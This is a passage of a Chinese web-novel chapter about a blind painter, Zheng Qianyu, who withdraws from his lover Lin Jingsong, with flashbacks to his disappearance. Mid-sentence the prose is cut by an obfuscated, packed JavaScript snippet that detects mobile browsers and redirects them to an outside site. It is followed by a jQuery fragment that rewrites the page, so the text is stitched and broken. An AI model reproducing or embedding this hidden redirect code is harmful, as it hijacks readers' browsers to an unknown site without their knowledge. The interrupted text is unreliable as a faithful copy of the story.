“你是想和我约会吗？”
郑千玉问道。
他仰起脸，在昏暗的夜色之中，他是似笑非笑的样子。
郑千玉的手仍旧让他握着，他很冰冷地攀上他的手腕，说：“不要再说这种话了，叶森。”
握着郑千玉的手让林静松有片刻的恍惚，郑千玉叫这个名字，又把他拉回现实。
“你不会觉得有趣的，你很快就会厌倦。”
郑千玉用了一些力气，林静松放开了手。
有整整一年郑千玉失去对时间的感知。他时而亢奋，听很多失明的人重振旗鼓的故事，给自己做规划，试图告诉自己还能做很多事。
但更多时候，郑千玉过着日夜颠倒的生活。其实他所看到的不完全是一片漆黑，盲人仍有光感，天光照在郑千玉的眼睛上，那是一片迷蒙的灰肉色。
郑千玉很清楚地知道自己处在白天。但白天对他来说已经没有意义了，他在白天睡去，只活在黑夜里。
这样在夜里规划，寻找可以继续活下去的办法。等郑千玉醒来的时候，听到外面的车声和人声，他一下子失去所有的力气。
郑千玉无法欺骗自己，他只想要正常的、能够看见的人生。
无论是积极地规划未来，还是消极地浪费自己剩下来的还很长的人生，郑千玉的愿望都无法实现了。
这样的日子过了很久之后，郑千玉也厌倦了这样反反复复的自己。
没有人会再需要他了。
郑千玉仰躺在地板上。他把自己的身体糟蹋得很坏，任何时候都没有力气。养父母曾经来探望他，郑千玉对此也没有印象了。
那个时候，郑辛也拿他没有办法了。
郑千玉感觉自己的灵魂从身体里抽离了出来，徘徊在上方。在这样的视野里，他是能够看见自己的。
没力气活，也没力气死的身体。恍然的灵魂看了也摇摇头，不知道这样的呼吸还有什么意义。
后来呢？
郑千玉记不太清了，或许他只是厌烦了这样。并不是产生了新的希望，也没有下定决心要迎接新的生活，因为接下来的每一天都不会有任何不同。
只是厌倦如此。
在郑千玉看不见的眼前出现了这个人——叶森。他当然是个意外，让郑千玉在黑暗重复的生活里有了一点变化。
所有人都把一切想得太简单，郑千玉不希望叶森再对他说那些陈词滥调了。
是的。郑千玉心想，他应该告诉叶森，他想要怎么样的对待。
“不要再说为了我——你想要我怎么做？”
郑千玉微笑，右手轻轻摩挲自己的盲杖。
或许是因为光线昏暗，林静松感觉到郑千玉那并不是平常的、愉快的微笑。
林静松从来就无法摸透他的心。郑千玉曾经愿意为他坦露一切，如今他尽数关闭自己的心事，没有给林静松任何窥探的机会。
“要联系也好，要见面也好，约会也好，要做……”
叶森很紧地抓住他的肩膀，他的力气太大，让郑千玉更毁灭的话没能说出口。
郑千玉的肩膀摸上去也是棱棱的骨头，他卸了力气，低着头。郑千玉的脸被光与阴影一分为二，一半苍白，一半沉进黑色的水底。
郑千玉深深地呼吸了一下，像在收拾因自己的失控带来的一地狼藉。
这几年他唯一学会的事情就是假装一切都没发生过，没有自暴自弃，没有崩塌也没有毁灭。不需要自然地过渡，他可以随时恢复原状。
“很晚了，送我回家吧。”
他摸索着去牵叶森的衣袖，很坦然地说。
这一天出发时天朗气清，回来时夜色浓重，寒气侵袭。
郑千玉和他道了别，林静松送他到楼下，直到完全看不见他的身影。
林静松感到一种适中的痛楚。这也不是他第一次失去郑千玉了。
郑千玉曾说自己要和朋友要去海边的小镇写生，一去两个月。
当时林静松在外地，他听到郑千玉在语音里很自然地说：
“我很想去。”
林静松觉得两个月不见面实在太久，因为他已经和郑千玉分别了三天。
但郑千玉有自己想做的事，林静松一向认为这是属于他的选择，他们之间也不会因此而有任何冲突。
只是他会想念郑千玉。
“好。”
林静松答应下来，又道：“我去找你。”
“林静松，两个月不见面的话，你会很想我吗？”
郑千玉的声音在电话里有轻微的电流声，他的声音带着笑意。他平时总问林静松这样的问题，一遍又一遍地确认他的爱。这并非是他不自信，而是当林静松一次又一次点头，这让郑千玉感到快乐，他正触摸爱的实质。
但那一次，郑千玉的语气很缥缈，很像一个临行前的人，不知归期，但也要先告别了。
林静松未能理解那种气氛，他开口道：“我会很想你。”
林静松对待郑千玉，从不知道什么叫做羞于表达。这件事全部都是郑千玉教他。
郑千玉爱他时，有成千上万种表达爱他的方式。
郑千玉想他时，立刻前来找他的时候比比皆是。
因为郑千玉这么做，让林静松在年少时很懂得这样的爱是如何的好，所以林静松也要这么做。
“什么时候可以去找你？”
林静松提前体会到思念之苦，立刻就想知道。
“我想画一幅画，林静松。
“一副很难的画。”
电话里他的音调干涩，轻声细语。
“很难的画？”
“嗯。”
“为什么很难？”
没有事情对郑千玉来说是“很难”的，林静松感到奇怪。
“因为……我从来没有画过这样的画，它超出我的想象了，但是我必须要去画。”
郑千玉很耐心地解释道。
艺术的事情已经超出了林静松的领域，他无法理解郑千玉的艺术想法，但他会很支持。
“要等你画完，才可以去找你吗？”他问。
“是的，等我画完，我才回来。”
郑千玉的声音很柔和，像他们在床上温存的时候，他平时声音清亮，但这种时候会有点哑，话语间带一点气息，让林静松找不到方向。
最后，林静松还是说好。
第一个月，郑千玉尚有音讯。他回复林静松的消息，虽然回得很慢。他们偶尔通话，郑千玉的声音总是在呼呼的风声中。
他确实在一座海边的小镇。
林静松对着电话的那端说：“千玉，我很想你。”
一般这个时候，郑千玉会问他：“林静松，你有多想我？”
林静松就会叙述他在生活里一种常见的状态：他会在写代码的间隙停住，想一刻钟郑千玉；他会在走路的时候想起郑千玉，翻看他们的信息和他的照片；睡着的时候，他会梦见郑千玉。
郑千玉听了十分开心，被想念的感觉那么好吗？起初林静松是不知道的，直到郑千玉说他也会想念他。
所以林静松要时常想念郑千玉，并不吝提及此事。
但是这一次，郑千玉并没有这样问。
他说：“林静松，这幅画太难画了，我要画不下去了。”
他的声音很沮丧，于是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474827|169918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林静松立刻道：“那你不要画了，我去找你。”
郑千玉沉默很久，又说：“不行。”
艺术家有自己的难题和坚持，总之，郑千玉还是要继续画那幅让他伤心沮丧的画，林静松还是不能见他。
后来，郑千玉的音讯更少。好像他的画有了新的进展，林静松了解他这样的状态。每当郑千玉画一幅画画到后期，他时常忘记吃饭睡觉，甚至都把林静松忘了。
林静松要把他从画室接回来，带他去吃饭，抱他睡觉，等郑千玉吃饱睡足之后，再让他接着去画画。
可惜他们现在不在一起。
第二个月过到一半之后，郑千玉彻底没有消息了。
林静松的眉头皱得很紧，他给郑千玉打电话，变成漫长的忙音。对话框里他的信息从底铺到顶，也再没有回复。
林静松联系郑千玉的朋友同学，没有人知道郑千玉远赴哪个海边小镇闭关画画，每个朋友都在忙自己的事情，没有哪个朋友和郑千玉一起去了。
他们倒觉得郑千玉做这样的事情很正常，因为郑千玉富有才华，又过得很随性。
林静松听郑千玉的朋友们说，郑千玉最近画画的风格发生了很大的变化，他大概在寻找新的方向。
去找新的方向，没有必要就这样丢下自己。
林静松心里有一万分困惑，但没有去想很坏的可能性。
林静松联系了郑千玉的老师，老师守口如瓶，只是说和郑千玉的亲人联系过，他现在很安全。
很安全，为什么不和他见面？
在第二个月结束后，迎来郑千玉结束写生的日子。郑千玉说过他会回来的。
林静松在郑千玉租的住处遇到郑辛。
即使他从来没有想过要见郑辛，但眼下只有郑辛知道郑千玉在哪里了。
郑辛来退租，拿走郑千玉的东西。他看到林静松，林静松也看到他。
郑辛憔悴了不少，林静松也没有多好。他无视了林静松，叫了搬家的车还有几个收拾的人，把郑千玉的东西都放进纸箱里。
林静松问了郑辛两遍，郑辛给纸箱封胶带，声音很响，但林静松确认他听到了。
“你不要再找我弟弟了。”
郑辛道。
他是很面无表情的，说这句话时，不像在对林静松生气。郑辛在一年前就知道林静松和郑千玉的关系，他一直不喜欢林静松，并怀抱着如果不是林静松，他的弟弟不会成为同性恋的老套错误观念。
“不可能。”林静松回答。
郑辛知道他是这样的人，他拿出手机，打给郑千玉，电话拨通了，郑辛没说话，而是递给了林静松。
林静松看到他手机屏幕上“千玉”两个字，还有开始计时的通话时间，消失的郑千玉真的在电话那一头。
他立刻拿走电话，远远离开了郑辛。
这通电话极其漫长，郑千玉的东西全都打包下楼了，郑辛抽完了两根烟。
林静松回来的时候，透过窗户，看到一个收得非常空旷的屋子，因为郑千玉的东西太多，以前把屋子填得太满，林静松从来想象不出这里可以空成这样。
郑辛至今也不知道这一天郑千玉和林静松说了什么。
林静松慢慢走过来，并不把手机递回给郑辛。他没有进屋，而是经过门前，把手机放在走廊阳台的栏杆上。
他经过时瞥了一眼站在屋子里的郑辛。那一眼非常惊人，林静松的眼睛红得像个病人，他开合了一下眼睛，一颗泪珠就从眼眶里滚落下来，延出一条长长的泪痕。但眼泪也只此一颗，林静松脸上的表情甚至与哭泣毫无关系。
他放下电话，摇摇晃晃地走了。